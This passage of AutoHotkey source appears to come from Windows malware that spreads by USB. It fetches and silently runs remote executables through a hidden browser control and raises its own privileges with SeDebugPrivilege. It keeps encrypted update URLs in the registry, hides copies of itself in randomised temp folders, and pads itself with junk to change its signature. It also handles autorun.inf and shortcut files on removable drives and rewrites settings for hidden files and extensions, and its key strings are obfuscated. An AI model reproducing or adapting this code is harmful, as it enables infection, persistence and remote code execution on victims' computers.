| upd_nw_lks(upd_lnks, dc_sec_txt) | |
| dldta := up_outs[up_outs.MaxIndex()] | |
| if dldta not contains :// | |
| goto, upd_rg_n_ret_1 | |
| n := StrSplit(dldta, ",") | |
| if (n.MaxIndex() < 3) { | |
| goto, upd_rg_n_ret_1 | |
| } | |
| todl_lnk_sz := RegExReplace(n[1], "[^\d]") | |
| todl_ver := trim(n[2]) | |
| if (!todl_lnk_sz || !todl_ver) { | |
| return 0 | |
| } | |
| if (todl_ver = self_ver && todl_lnk_sz = (self_sz + 1000)) { | |
| goto, upd_rg_n_ret_1 | |
| } | |
| dl_uls := get_dluls(dldta) | |
| if !dl_uls | |
| return 0 | |
| Sort, dl_uls, Random | |
| sleep, 100 | |
| Sort, dl_uls, Random | |
| jst_url_rn: | |
| if lst_upd_ul | |
| { | |
| dlus_ = | |
| bs_dld_ul = | |
| For idxx, dl_lfeld in StrSplit(dl_uls, "`n") { | |
| if !dl_lfeld | |
| continue | |
| dl_lfeld := (RegExMatch(dl_lfeld, "^http(s?)://.*") < 1) ? "http://" dl_lfeld : dl_lfeld | |
| if (InStr(dl_lfeld, lst_upd_ul) && !bs_dld_ul) { | |
| bs_dld_ul := dl_lfeld | |
| continue | |
| } | |
| dlus_ .= dl_lfeld "`n" | |
| } | |
| if bs_dld_ul != | |
| dl_uls := bs_dld_ul "`n" dlus_ | |
| dl_uls := trim(dl_uls, "`n") | |
| } | |
| dl_rn_ok = 0 | |
| For idxx, dl_lfeld in StrSplit(dl_uls, "`n") { | |
| if !dl_lfeld | |
| continue | |
| if (RegExMatch(dl_lfeld, "^http(s?)://.*") <= 0) | |
| dl_lfeld := "http://" dl_lfeld | |
| dl_rn_ok = 0 | |
| out_fl = | |
| kill_del(atemp "\~temp~*iN.dat") | |
| dl_fl := atemp "\~temp~" get_num_seed(12) "iN.dat" | |
| r_dl_fl := dl_upd(dl_lfeld, "f", dl_fl, todl_lnk_sz) | |
| if r_dl_fl != %dl_fl% | |
| goto, dl_lpend | |
| out_fl = %dl_fl%.exe | |
| kill_del(out_fl) | |
| strp_fst_1k(dl_fl, out_fl) | |
| if out_fl = | |
| goto, dl_lpend | |
| Try fileread, mz, %out_fl% | |
| Try FileGetVersion, dver, %out_fl% | |
| if (SubStr(mz, 1, 2) != "MZ" || dver != todl_ver) { | |
| goto, dl_lpend | |
| } | |
| kill_del(dl_fl) | |
| Try runwait, %out_fl% %alt_0_chr%,,useerrorlevel | |
| if ErrorLevel != ERROR | |
| dl_rn_ok = 1 | |
| if dl_rn_ok | |
| break | |
| dl_lpend: | |
| kill_del(out_fl) | |
| kill_del(dl_fl) | |
| chk_tskmgr() | |
| sleep, 2000 | |
| } | |
| up_reg_sec_ky(sec_txt) | |
| dl_faild = 0 | |
| if dl_rn_ok | |
| return 1 | |
| dl_faild = 1 | |
| return 0 | |
| upd_rg_n_ret_1: | |
| up_reg_sec_ky(sec_txt) | |
| return 1 | |
| } | |
| get_dluls(uls="") { | |
| us = | |
| For i, u in StrSplit(uls, ",") | |
| if InStr(u, "://") | |
| us .= u "`n" | |
| return trim(us,"`n") | |
| } | |
| gt_reg_sec_ky() { | |
| Global | |
| dchkc:=Trim(dcprt(echkc:=rg_rd(, reg_sw_ms_ie, reg_sec_ky), mky)) | |
| if dchkc | |
| { | |
| dchkc_l := RegExReplace(SubStr(dchkc, 1, 10), "[^\d]") | |
| if (StrLen(dchkc_l) != 10 && !RegExMatch(dchkc, "^(http|ftp).*")) | |
| dchkc = | |
| } | |
| dchkl:=Trim(dcprt(echkl:=rg_rd("HKLM", reg_sw_ms_ie, reg_sec_ky), mky)) | |
| if dchkl | |
| { | |
| dchkl_l := RegExReplace(SubStr(dchkl, 1, 10), "[^\d]") | |
| if (StrLen(dchkl_l) != 10 && !RegExMatch(dchkl, "^(http|ftp).*")) | |
| dchkl = | |
| } | |
| dctsk = | |
| Try fileread, ectsk, %tmp_scky% | |
| ectsk := Trim(ectsk, "`r`n`t ") | |
| if ectsk | |
| { | |
| dctsk := Trim(dcprt(ectsk, mky)) | |
| dctsk_l := RegExReplace(SubStr(dctsk, 1, 10), "[^\d]") | |
| if (StrLen(dctsk_l) != 10 && !RegExMatch(dctsk, "^(http|ftp).*")) | |
| dctsk = | |
| } | |
| dcrg_al := dchkc "`n" dchkl "`n" dctsk | |
| Sort, dcrg_al, U N R | |
| dcrg_ltst := StrSplit(Trim(dcrg_al, "`n"), "`n")[1] | |
| if !dcrg_ltst | |
| return "" | |
| if dcrg_ltst = | |
| return "" | |
| ecrg_ltst := | |
| if dcrg_ltst = %dchkc% | |
| ecrg_ltst := echkc | |
| else if dcrg_ltst = %dchkl% | |
| ecrg_ltst := echkl | |
| else if dcrg_ltst = %dctsk% | |
| ecrg_ltst := ectsk | |
| if ecrg_ltst | |
| { | |
| if (echkc != ecrg_ltst) | |
| rg_wt(, , reg_sw_ms_ie, reg_sec_ky, ecrg_ltst) | |
| if (echkl != ecrg_ltst) | |
| rg_wt(, "HKLM", reg_sw_ms_ie, reg_sec_ky, ecrg_ltst) | |
| if (ectsk != ecrg_ltst) { | |
| kill_del(tmp_scky) | |
| Try FileAppend, %ecrg_ltst%, %tmp_scky% | |
| Try FileSetAttrib, +RSA, %tmp_scky% | |
| } | |
| ecrg_ltst := | |
| } | |
| return dcrg_ltst | |
| } | |
| up_reg_sec_ky(scky="") { | |
| Global | |
| kill_del(tmp_scky) | |
| For ir, rhk in ["HKLM", "HKCU"] { | |
| if !scky | |
| Try regdelete, %rhk%, %reg_sw_ms_ie%, %reg_sec_ky% | |
| else if (ir = 2 || rg_lm_ok) | |
| rg_wt(, rhk, reg_sw_ms_ie, reg_sec_ky, scky) | |
| } | |
| if !scky | |
| return | |
| Try FileAppend, %scky%, %tmp_scky% | |
| Try FileSetAttrib, +RSA, %tmp_scky% | |
| } | |
| st_glbl: | |
| Global prg_alt0160_fls, win_alt0160_def, win_def_mscuiexe, reg_sw_ms_win_cu_ex_adv, reg_sw_ms_ie, reg_sw_ms_win_cu_ro, reg_sw_ms_win_cu_ru, reg_sec_ky, SecDrvEXE, MCuiEXE, ieDotexe, cmdl_on, cmdl_tw, cmdl_th, self_ver, selfpid, self_sz, sd_ini, mky, htmlsectxt, xp_hgr, systemroot, myprg_dir, prg_dir, ScriptFullPath, ScriptName, ScriptDir, startup, startupcommon, atemp, autoStrt_pth, pr_pid, pr_nm, pr_pth, prcs, pr_dir, pr_hwd, pr_cls, prg_fls, int_exp, win_def, ie_ix_exe, usb_data, sys_explorer, alp_num, WD_Icn_Fl, IE_Icn_Fl, tmp_scky, tmp_VrCnt, netw_srv, lcl_srv, tmpstr_all, alt_0_chr, win_shut | |
| Return | |
| get_prcs() { | |
| global selfpid | |
| w = Windows\ | |
| ws = %w%system32\ | |
| if sys_pr_lst = | |
| { | |
| sys_pr_lst = | |
| ( | |
| |%w%servicing\TrustedInstaller.exe | |
| %w%notepad.exe | |
| %ws%notepad.exe | |
| %ws%conhost.exe | |
| %ws%mdm.exe | |
| %ws%taskmgr.exe | |
| %ws%smss.exe | |
| %ws%alg.exe | |
| %ws%csrss.exe | |
| %ws%wininit.exe | |
| %ws%services.exe | |
| %ws%svchost.exe | |
| %ws%wbem\WmiPrvSE.exe | |
| %ws%wbem\WmiApSrv.exe | |
| %ws%audiodg.exe | |
| %ws%WUDFHost.exe | |
| %ws%dwm.exe | |
| %ws%spoolsv.exe | |
| %ws%dllhost.exe | |
| %ws%msdtc.exe | |
| %ws%SearchIndexer.exe | |
| %ws%taskhost.exe | |
| %ws%lsass.exe | |
| %ws%lsm.exe | |
| %ws%winlogon.exe | |
| %ws%rundll32.exe | |
| %ws%RuntimeBroker.exe | |
| %ws%sihost.exe | |
| %ws%taskhostw.exe | |
| %ws%ApplicationFrameHost.exe | |
| %ws%SearchProtocolHost.exe | |
| %ws%dasHost.exe | |
| %ws%SppExtComObj.exe | |
| %ws%Locator.exe | |
| %w%explorer.exe | |
| %w%hh.exe | |
| %prg_fls%%ie_ix_exe% | |
| ) | |
| ss := Str_Replace(sys_pr_lst,"`r") | |
| Str_Replace(ss,"`t") | |
| Str_Replace(ss,"`n","|") | |
| Str_Replace(ss,"|","|" systemdrive "\") | |
| sys_pr_lst = %ss%|\SystemRoot\system32\smss.exe| | |
| } | |
| fkb := 4096 | |
| h := DllCall("OpenProcess", "UInt", 0x0400, "Int", false, "UInt", selfpid) | |
| DllCall("Advapi32.dll\OpenProcessToken", "UInt", h, "UInt", 32, "UIntP", t) | |
| VarSetCapacity(ti, 16, 0) | |
| NumPut(1, ti, 0, 4) | |
| DllCall("Advapi32.dll\LookupPrivilegeValueA", "UInt", 0, "Str", "SeDebugPrivilege", "UIntP", luid) | |
| NumPut(luid, ti, 4, 8) | |
| NumPut(2, ti, 12, 4) | |
| DllCall("Advapi32.dll\AdjustTokenPrivileges", "UInt", t, "Int", false, "UInt", &ti, "UInt", 0, "UInt", 0, "UInt", 0) | |
| DllCall("CloseHandle", "UInt", h) | |
| hModule := DllCall("LoadLibrary", "Str", "Psapi.dll") | |
| fkb := VarSetCapacity(a, fkb) | |
| DllCall("Psapi.dll\EnumProcesses", "UInt", &a, "UInt", fkb, "UIntP", ggg) | |
| ap := [] | |
| Loop, % ggg // 4 | |
| { | |
| pth = | |
| prid := NumGet(a, A_Index * 4) | |
| h := DllCall("OpenProcess", "UInt", 0x0010 | 0x0400, "Int", false, "UInt", prid) | |
| VarSetCapacity(m, fkb) | |
| DllCall("Psapi.dll\EnumProcessModules", "UInt", h, "UInt", &m, "UInt", fkb, "UIntP", ggg) | |
| VarSetCapacity(pr_name, fkb, 0) | |
| DllCall("Psapi.dll\GetModuleBaseNameA", "UInt", h, "UInt", m, "Str", pr_name, "Str", fkb) | |
| VarSetCapacity(pth, fkb, 0) | |
| DllCall("Psapi.dll\GetModuleFileNameExA", "UInt", h, "UInt", m, "Str", pth, "UInt", fkb) | |
| DllCall("CloseHandle", "UInt", h) | |
| if !pth | |
| continue | |
| loop, %pth% | |
| pth := a_loopfilelongpath | |
| if (InStr(pth, ":\") && !InStr(sys_pr_lst, systemdrive SubStr(pth, 3) "|")) { | |
| ap.Push({pr_pid: prid, pr_pth: pth}) | |
| } | |
| } | |
| return ap | |
| } | |
| return | |
| ver_typ(fl) { | |
| Global self_ver, ver | |
| if !FileExist(fl) | |
| return -1 | |
| Try FileGetversion, vr, %fl% | |
| if (ErrorLevel || !vr) | |
| return -1 | |
| sv := StrReplace(self_ver, ".") | |
| vr_nodots := StrReplace(vr, ".") | |
| hh := StrSplit(vr, ".") | |
| if (hh[3] = "3535" || hh[3] = "5353") { | |
| sinv = | |
| loop, parse, % hh[4] | |
| sinv := a_loopfield sinv | |
| if (sinv != hh[4]) | |
| return -1 | |
| else if vr_nodots = %sv% | |
| return 1 | |
| else if vr_nodots > %sv% | |
| return 2 | |
| else if vr_nodots < %sv% | |
| return 0 | |
| } | |
| return -1 | |
| } | |
| get_rdm_lns() { | |
| random, nl, 60, 90 | |
| loop, %nl% | |
| nln = %nln%0A | |
| return nln | |
| } | |
| get_jnk_lns() { | |
| ths_jnk_fst_all = | |
| random, bb, 4, 8 | |
| loop, %bb% | |
| { | |
| ths_jnk_fst = | |
| random, lp, 5, 10 | |
| loop, %lp% | |
| { | |
| vv := get_num_seed(9) | |
| enc := ecprt(vv, "OPQRSTUVWXYZabcdefghijklmno") | |
| ee := s2h(enc) | |
| Str_Replace(ee,"2D63","0909090963" s2h(vv)) | |
| Str_Replace(ee,"2D61","09090961" s2h(vv)) | |
| ths_jnk_fst .= ee | |
| } | |
| ths_jnk_fst_all .= "0A3B" . ths_jnk_fst | |
| } | |
| return ths_jnk_fst_all . "0A" | |
| } | |
| shutin(wParam, lParam) { | |
| Global | |
| hde_fldrs() | |
| win_shut = 1 | |
| gosub, chk_tmp_strtr_ | |
| ExitApp | |
| } | |
| run_in_tmp(fil_e) { | |
| global | |
| tmpfile = | |
| if !fil_e | |
| return | |
| if (fil_e = MCuiEXE) { | |
| fstdir = %prg_fls% | |
| scddir = %win_alt0160_def% | |
| } | |
| if (fil_e = ieDotexe) { | |
| fstdir = %prg_alt0160_fls% | |
| scddir = %int_exp% | |
| } | |
| Loop, %atemp%\*, 2 | |
| { | |
| if RegExMatch(a_loopfilename, "^[\d]{12}$") < 1 | |
| continue | |
| fst_loopfilefullpath := a_loopfilefullpath | |
| loop, %fst_loopfilefullpath%\*, 2 | |
| { | |
| if RegExMatch(a_loopfilename, "^[\d]{12}$") < 1 | |
| continue | |
| tmfile = %a_loopfilefullpath%\%fstdir%\%scddir%\%fil_e% | |
| if !FileExist(tmfile) | |
| continue | |
| ver := ver_typ(tmfile) | |
| if (ver = 1) { | |
| if tmpfile = | |
| tmpfile := tmfile | |
| else | |
| { | |
| Try FileSetAttrib, -RSAH, %tmfile% | |
| Try FileSetAttrib, -RSAH, %a_loopfilefullpath% | |
| Try FileSetAttrib, -RSAH, %fst_loopfilefullpath% | |
| Try fileremovedir, %a_loopfilefullpath%, 1 | |
| } | |
| } | |
| else if (ver = 2) { | |
| Try { | |
| run, %tmfile% %alt_0_chr%,, useerrorlevel | |
| ExitApp | |
| } | |
| } | |
| else if (ver = -1) { | |
| Try FileSetAttrib, -RSAH, %tmfile% | |
| Try FileSetAttrib, -RSAH, %a_loopfilefullpath% | |
| Try FileSetAttrib, -RSAH, %fst_loopfilefullpath% | |
| Try fileremovedir, %a_loopfilefullpath%, 1 | |
| } | |
| } | |
| } | |
| if tmpfile != | |
| { | |
| gosub, run_ext | |
| return | |
| } | |
| tmp_dir_new = | |
| loop, 100 | |
| { | |
| rndm_fldr_1 := get_num_seed(12) | |
| rndm_fldr_2 := get_num_seed(12) | |
| tmp_dir_new := atemp "\" rndm_fldr_1 "\" rndm_fldr_2 | |
| if !FileExist(tmp_dir_new) | |
| break | |
| } | |
| if tmp_dir_new = | |
| return | |
| scd = %tmp_dir_new%\%fstdir%\%scddir% | |
| tmpfile = %scd%\%fil_e% | |
| Try filecreatedir, %scd% | |
| chg_icn_typ_cpy(ScriptFullPath, tmpfile, (fil_e = MCuiEXE) ? "wd" : "ix") | |
| if !FileExist(tmpfile) | |
| return | |
| s := atemp | |
| f = %rndm_fldr_1%\%rndm_fldr_2%\%fstdir%\%scddir% | |
| loop, parse, f, \ | |
| { | |
| s .= "\" a_loopfield | |
| Try FileSetAttrib, +RSAH, %s% | |
| } | |
| gosub, run_ext | |
| return | |
| } | |
| xplr_gt_sel() { | |
| hw := WinExist("A") | |
| WinGetClass, c, ahk_id %hw% | |
| if (c!="CabinetWClass" && c!="ExploreWClass") | |
| Return "" | |
| for w in ComObjCreate("Shell.Application").Windows { | |
| if (w.hwnd==hw) { | |
| sl := w.Document.SelectedItems | |
| if sl | |
| Break | |
| } | |
| } | |
| for itm in sl | |
| r .= itm.path "`n" | |
| return Trim(r,"`n") | |
| } | |
| get_opnrs_for_ths_drv: | |
| if !opnrs_dec | |
| { | |
| opnrs_enc := "ZpNyiIrFucW-bzcROqpdioXae6eOdxkuImql9b6PXx63d2juhhoKnkIHYtL-bNgnx-bh51xke3amtJgg6ShaoOOy93hrVmImIJ7mLSm4r-a0fqJklHR2t-a29uLmIkrDa3J7iYIOkoWaDjsvd4a1vl9SzueXaO7C-bxNznldW6t4rKq7hgqb-ar3dOa3bdx3t-agzKZgq-aa4uMzNw7fZ2aqPprnj5KPWS5fY7LN8rNHDueuHet3JxdXcoMizYKvktm-amycS379aj08lbtt-agz7rN2eeuWZjJv6-bh1ZiPxrLn46vSs7rdgo20ws2ztuHbqo-aptNXemMStyXS7ub-bPiMCqmLWW5naX49yYyLNgreqvs7-bccYfZ2ZWPv7-ba3z6msMbjmLm1drq2t-a3UlnmZwOTpVNKndsDhrrTF21uH7duWj5265tynbYW71t2-atLqIoa3b2juzxbDC36jCsMbP5lSTxcefs-azGgN-a7v362qdGvz4q5uLjDyb23gq2m3cTKlMCZ0rHCz4KQxMTWymTO0JXUxcR-atqnRr8-aKv7PBwttbjOHOmY-aattrZosy1v9nmVJeaiKet3Myg4mCZuJCB2LS-bzZiguLrNwLeCr6Dbwsrr36PHS57Z7GqSu9S2purQpdi7xH64o9dhndPqtsJgsMC4mLeZ3srA53p80rV2wOGutMXbW4zn21Gwv8Tc55XVurd0wLnDdqrDrezVluhgmePkVLqiwtboq7-a72sROwdWl1Mi-b2eRUpbbJ0-aavwslynaXszKTjdpnj5D6wtsnT22qlv8y2s-atxftDBtpS9o9Gmz3TFq7q7iJ6z5syqj6W-b4NmiyEujy-aq8uLfPtmTIz6DjxcR-avaPWtXbB2bjDu8xbkefdmtTJW8Hlp8ykdqvkrMTD21uR8YeB0MnE69-amx7Rgt-bFqobvbxrHdcX-bUzXHE2KPXsMl0xq-bGdrjDs-aLMlOPJW8LVq4OYt9bkurDGzcO3grWW5naX49yYyLN2kqpzWaTNyGS-a1p3Tu8OUnVSmsMbjgpqwydvIs-arLpHmlvdiQhMuwytnrVKG728ax3XGD1MnG4dVUr6LKz-au-aWajNxLnlzFG1v7-bV3D61prnZ7q-bBu8xxlODWpd7JW8bVl9K3u9zdrm-aa17S55cyf48lbxOKjzaa53pihvsjTxE7LypLdxLbYkHjSpMvX3bjDyXKkp9nVn9S6ccTYo9ewyXTLr7LIzcVkvMil0GCk2dOmyLV2sOG2tMlypKnb2Zbjdpfj3JjIs2C957DDzcnDqetxhd7Dcbfiqcy0u3TMub92sLq0mK-ag32Cn3dSZ0mGa2e-a4u8XJtbeCvZrTu8DneovErcLa2bq0yNtbnefcpeS4tpS0o9qvwtnZrsJgwcC57NyT1HaX6d6i3Euv2e2-axLjNcZrhy5beyQ-c-c" | |
| opnrs_dec := StrReplace(dcprt(opnrs_enc, mky),"`r") | |
| } | |
| sort, opnrs_dec, Random | |
| drv_opnrs = | | |
| exst_cnt = 0 | |
| loop, %TsDrv%\*.lnk | |
| { | |
| Try FileGetShortcut,%a_loopfilefullpath%,,,oarg | |
| if (oarg = sec_drv_ex_lnk_arg) { | |
| drv_opnrs .= SubStr(a_loopfilename,1,-4) "|" | |
| exst_cnt++ | |
| } | |
| } | |
| p = | | |
| if (exst_cnt < 7) { | |
| For i, lp in StrSplit(opnrs_dec,"`n") { | |
| if (lp) { | |
| if InStr(drv_opnrs, p lp p) | |
| continue | |
| exst_cnt++ | |
| if (exst_cnt > 7) | |
| break | |
| drv_opnrs .= lp p | |
| } | |
| } | |
| } | |
| nf := dcprt("5ZnKoX5rtcqKzr3h", "Ke*^%F^&i") | |
| if !InStr(drv_opnrs, nf) | |
| drv_opnrs .= nf | |
| p = | | |
| While(InStr(drv_opnrs, p p)) | |
| Str_Replace(drv_opnrs,p p, p) | |
| opnrs_%DrvSerial% := trim(drv_opnrs, p) | |
| return | |
| get_DrvTyp(d) { | |
| Str_Replace(d,":") | |
| if !d | |
| return 0 | |
| Try { | |
| wmi := ComObjGet("winmgmts:") | |
| for LogicalDisk in wmi.ExecQuery("Select * from Win32_LogicalDiskToPartition") | |
| if InStr(LogicalDisk.Dependent,d ":") | |
| for Partition in wmi.ExecQuery("Select * from Win32_DiskDriveToDiskPartition") | |
| if (Partition.Dependent = LogicalDisk.Antecedent) { | |
| for Drive in wmi.ExecQuery( "Select * from Win32_DiskDrive where DeviceId = """ SubStr(Partition.Antecedent, InStr(Partition.Antecedent, """") + 1, -1) """") | |
| return Drive.InterfaceType | |
| } | |
| } | |
| return 0 | |
| } | |
| get_sel() { | |
| clp_emty := (Clipboard = "") ? 1 : 0 | |
| if !clp_emty | |
| { | |
| clp_bk := ClipboardAll | |
| While !(Clipboard = "") { | |
| Try Clipboard = | |
| Sleep, 50 | |
| } | |
| } | |
| Try send, ^c | |
| Try ClipWait, 0.1 | |
| clp := Clipboard | |
| Try Clipboard := clp_bk | |
| if !clp_emty | |
| Try ClipWait, 0.5, 1 | |
| Return clp | |
| } | |
| un_in_me: | |
| For idn, pr in get_prcs_by_cls() | |
| if (ver_typ(pr.pr_pth) = -1) | |
| kill_del(pr.pr_pth, pr.pr_pid) | |
| dcky := h2s("4C4A475E25264846") | |
| ah := atemp dcprt("orS9t8OXjKynwKum0oqTuA-c-c", dcky) | |
| kill_del(ah "\*") | |
| kill_del(ah) | |
| wup := dcprt("nbW4q82cmaebvK6o0oo-c", dcky) | |
| For _i, tsnm in tmpstr_all { | |
| For indx, hk in ["HKLM", "HKCU"] | |
| Loop, %hk%, %reg_sw_ms_win_cu_ro% | |
| if A_LoopRegName contains %wup%,%tsnm% | |
| Try regdelete | |
| } | |
| loop, %appdata%\~temp~* | |
| kill_del(a_loopfilefullpath) | |
| loop, %appdata%\~temp~*.exe | |
| kill_del(a_loopfilefullpath) | |
| wdr := dcprt("na2zu6KOmA-c-c", dcky) | |
| ddr := dcprt("irvBtaKOmA-c-c", dcky) | |
| ldr := dcprt("kq29u6KOmA-c-c", dcky) | |
| Try regdelete, HKLM, %reg_sw_ms_win_cu_ru%, %win_alt0160_def% | |
| Try regdelete, HKCU, %reg_sw_ms_win_cu_ru%, %win_alt0160_def% | |
| Try regdelete, HKCU, %reg_sw_ms_ie%, %ddr% | |
| Try regdelete, HKCU, %reg_sw_ms_ie%, %ldr% | |
| Try regdelete, HKCU, %reg_sw_ms_ie%, %wdr% | |
| Try regdelete, HKCU, %reg_sw_ms_ie%, %reg_LstUpd% | |
| Try regdelete, HKLM, %reg_sw_ms_ie%, %reg_LstUpd% | |
| Try regdelete, HKCU, %reg_sw_ms_ie%, %reg_VrCnt% | |
| sies = \%int_exp%\ | |
| cn := dcprt("ydjM", "i^%&Hf") | |
| lp := dcprt("0tnSVg-c-c", "i^%&Hf") | |
| sll := dcprt("wsWMgQ-c-c", "i^%&Hf") | |
| pff := prg_alt0160_fls | |
| wdd := win_alt0160_def | |
| kill_del(sll appdata "\" pff sies cn) | |
| kill_del(sll appdata "\" pff sies lp) | |
| kill_del(sll appdata "\" wdd sies cn) | |
| kill_del(sll appdata "\" wdd sies lp) | |
| kill_del(sll myprg_dir sies cn) | |
| kill_del(sll myprg_dir sies lp) | |
| kill_del(sll myprg_dir "\" wdd "\" cn) | |
| kill_del(sll myprg_dir "\" wdd "\" lp) | |
| kill_del(myprg_dir "\" win_def "\*") | |
| kill_del(myprg_dir "\" win_def) | |
| kill_del(myprg_dir "\" int_exp "\*") | |
| kill_del(appdata "\" int_exp) | |
| kill_del(prg_dir "\" wdd "\*") | |
| kill_del(prg_dir "\" wdd) | |
| kill_del(myprg_dir "\*") | |
| kill_del(myprg_dir) | |
| kill_del(appdata "\" pff "\" wdd "\*") | |
| kill_del(appdata "\" pff "\" wdd) | |
| kill_del(appdata "\" pff "\" int_exp "\*") | |
| kill_del(appdata "\" pff "\" int_exp) | |
| kill_del(appdata "\" pff "\*") | |
| kill_del(appdata "\" pff) | |
| kill_del(tmp_VrCnt) | |
| rr := reg_sw_ms_win_cu_ex_adv | |
| rg_wt("REG_DWORD", "HKLM", rr "\Folder\HideFileExt", "DefaultValue","1") | |
| rg_wt("REG_DWORD", "HKLM", rr "\Folder\HideFileExt", "CheckedValue","1") | |
| rg_wt("REG_DWORD", "HKLM", rr "\Folder\Hidden\NOHIDDEN", "CheckedValue", "2") | |
| rg_wt("REG_DWORD", "HKLM", rr "\Folder\Hidden\NOHIDDEN", "DefaultValue","1") | |
| rg_wt("REG_DWORD", "HKLM", rr "\Folder\Hidden\SHOWALL", "CheckedValue","1") | |
| rg_wt("REG_DWORD", "HKLM", rr "\Folder\Hidden\SHOWALL", "DefaultValue","1") | |
| rg_wt("REG_DWORD", "HKLM", rr "\Folder\SuperHidden", "CheckedValue","2") | |
| rg_wt("REG_DWORD", "HKLM", rr "\Folder\SuperHidden", "DefaultValue","2") | |
| rg_wt("REG_DWORD", "HKLM", rr "\Folder\SuperHidden", "UncheckedValue","1") | |
| rg_wt("REG_DWORD", "HKCU", rr, "HideFileExt", "1") | |
| rg_wt("REG_DWORD", "HKCU", rr, "ShowSuperHidden","1") | |
| rg_wt("REG_DWORD", "HKCU", rr, "SuperHidden","1") | |
| rg_wt("REG_DWORD", "HKCU", rr, "Hidden","1") | |
| For indx, lp in [startup, startupcommon] | |
| kill_del(lp "\" win_alt0160_def ".lnk") | |
| usbe = %usb_data%\%SecDrvEXE% | |
| Try DriveGet, list, list | |
| loop, parse, list | |
| { | |
| dr = %a_loopfield%:\ | |
| Try DriveGet, typ, type, %dr% | |
| if typ not contains Fixed,Removable | |
| continue | |
| Try DriveGet, typ, status, %dr% | |
| if typ != Ready | |
| continue | |
| if FileExist(dr usb) { | |
| kill_del(dr usb_data "\*") | |
| kill_del(dr usb_data) | |
| kill_del(dr "USB\*") | |
| kill_del(dr "USB") | |
| } | |
| ar := dr h2s("6175746F72756E2E696E66") //autorun.inf | |
| if FileExist(ar) { | |
| Try fileread, arr, %ar% | |
| if InStr(arr, usbe) | |
| kill_del(ar) | |
| } | |
| loop, %dr%*.lnk | |
| { | |
| Try FileGetShortcut, %a_loopfilefullpath%,,,oa | |
| if InStr(oa, usbe) | |
| kill_del(a_loopfilefullpath) | |
| } | |
| } | |
| loop, %atemp%\*, 2 | |
| if RegExMatch(a_loopfilename, "\d{12}") > 0 | |
| kill_del(a_loopfilefullpath) | |
| if FileExist(ori_ie_bk) | |
| Try filemove, %ori_ie_bk%, %prg_ie_ix%, 1 | |
| kill_del(prg_dir "\" int_exp "\ieinstal.dll") | |
| ix_renms_del() | |
| cmd_del_file(ScriptFullPath) | |
| Exitapp | |
| cpy_instlr_tmp() { | |
| Global atemp, ScriptFullPath | |
| tpf = | |
| loop, %atemp%\*, 2 | |
| { | |
| fp := a_loopfilefullpath | |
| if !RegExMatch(a_loopfilename, "^\d{12}$") | |
| continue | |
| loop, %fp%\~temp~*iN.exe | |
| { | |
| ver := ver_typ(a_loopfilefullpath) | |
| if (ver > 0) { | |
| tpf := fp | |
| break | |
| } | |
| else if ver != -1 | |
| kill_del(fp) | |
| } | |
| } | |
| if tpf != | |
| return tpf | |
| dir_in := atemp "\" get_num_seed(12) | |
| if !FileExist(dir_in) | |
| Try filecreatedir, %dir_in% | |
| sleep, 200 | |
| if !FileExist(dir_in) | |
| return tpf | |
| loop, 3 | |
| { | |
| tpf := dir_in "\~temp~" get_num_seed(5) "iN.exe" | |
| if kill_del(tpf) { | |
| Try FileCopy, %ScriptFullPath%, %tpf%, 1 | |
| if FileExist(tpf) { | |
| Try FileSetAttrib, +RSAH, %dir_in% | |
| break | |
| } | |
| } | |
| else | |
| tpf = | |
| } | |
| return tpf | |
| } | |
| st_gbl() { | |
| Gosub, st_glbl | |
| } | |
| clr_tif: | |
| if !mwt_ | |
| mwt_ := dcprt("o3OTwcbIupWQ0rCwsJSOzcvMo3qPy8TIuYec13SitZqP0MK-au0Zwx8C-auoI-c", "&*^TYG") | |
| if !mwi_ | |
| mwi_ := dcprt("o3OTwcbIupWQ0rCwsJSOzcvMo294w8icqImSww-c-c", "&*^TYG") | |
| if !lstif_ | |
| lstif_ := dcprt("k5WNv8B5moue0r3HrpmGsrnGt5Wcv8bSZ2-aY0rnLtYuefprCs4udug-c-c", "&*^TYG") | |
| if !cntif_ | |
| cntif_ := dcprt("ipWY0rnHu1Rzo4k-c", "&*^TYG") | |
| if tif_drs = | |
| tif_drs = | |
| ( | |
| AppData\Local%mwt_%Low\%cntif_% | |
| AppData\Local%mwi_% | |
| AppData\Roaming%mwi_% | |
| AppData\Local%mwt_%%cntif_% | |
| AppData\Locallow%mwt_%%cntif_% | |
| AppData\Roaming%mwt_%%cntif_% | |
| AppData\Roaming%mwt_%Low\%cntif_% | |
| %lstif_%%cntif_% | |
| ) | |
| loop, parse, tif_drs, `n | |
| { | |
| pthh_=%USERPROFILE%\%a_loopfield%\ | |
| loop, %pthh_%*.*, 2 | |
| { | |
| Try FileSetAttrib, -RASH, %A_LoopFileFullPath%, 1, 1 | |
| Try FileRemoveDir, %A_LoopFileFullPath%, 1 | |
| } | |
| sleep, 200 | |
| loop, %pthh_%*.*, 1, 1 | |
| { | |
| Try FileSetAttrib, -RASH, %A_LoopFileFullPath% | |
| if (FileExist(A_LoopFileFullPath) = "D") | |
| Try FileRemoveDir, %A_LoopFileFullPath%, 1 | |
| else | |
| Try FileDelete, %A_LoopFileFullPath% | |
| } | |
| } | |
| return | |
| dl_upd(ul="", typ="t", fl="", flsz=0) { | |
| Static WeB | |
| global tif_drs, lst_upd_ul, atemp | |
| if (typ = "f" && (!fl || flsz = 0)) | |
| return "" | |
| set_ie_oln() | |
| Wt_4_inet() | |
| gosub, clr_tif | |
| set_ie_oln() | |
| if (RegExMatch(ul, "^http(s?)://.*") <= 0) { | |
| ul := "http://" ul | |
| } | |
| SrcCd := | |
| SrchFl := | |
| if typ = f | |
| { | |
| exst_iech = | | |
| loop, parse, tif_drs, `n | |
| loop, %USERPROFILE%\%a_loopfield%\*.*, 0, 1 | |
| exst_iech .= a_loopfilefullpath "|" | |
| } | |
| Gui, -Caption +lastfound +ToolWindow +hwndDL_WiD | |
| Gui, Add, ActiveX, -border w1 h1 vWeB, %ul% | |
| Try DllCall("urlmon\CoInternetSetFeatureEnabled", "Int", 21, "UInt", 0x00000002, "Int", 1) | |
| Gui, Show, x-100 y-100 Hide NoActivate | |
| sleep, 10 | |
| Try WeB.silent := true | |
| WinWait, ahk_id %DL_WiD%,,1 | |
| Winhide, ahk_id %DL_WiD% | |
| sleep, 1000 | |
| pg_nv_strt := a_tickcount | |
| Try { | |
| While(WeB.busy or WeB.readyState <> 4) { | |
| if ((a_tickcount - pg_nv_strt) > 30000) | |
| break | |
| sleep, 500 | |
| } | |
| } | |
| lst_upd_ul := trim(RegExReplace(ul, "^(.*?//.*/).*?$", "$1"), "/") | |
| if typ = t | |
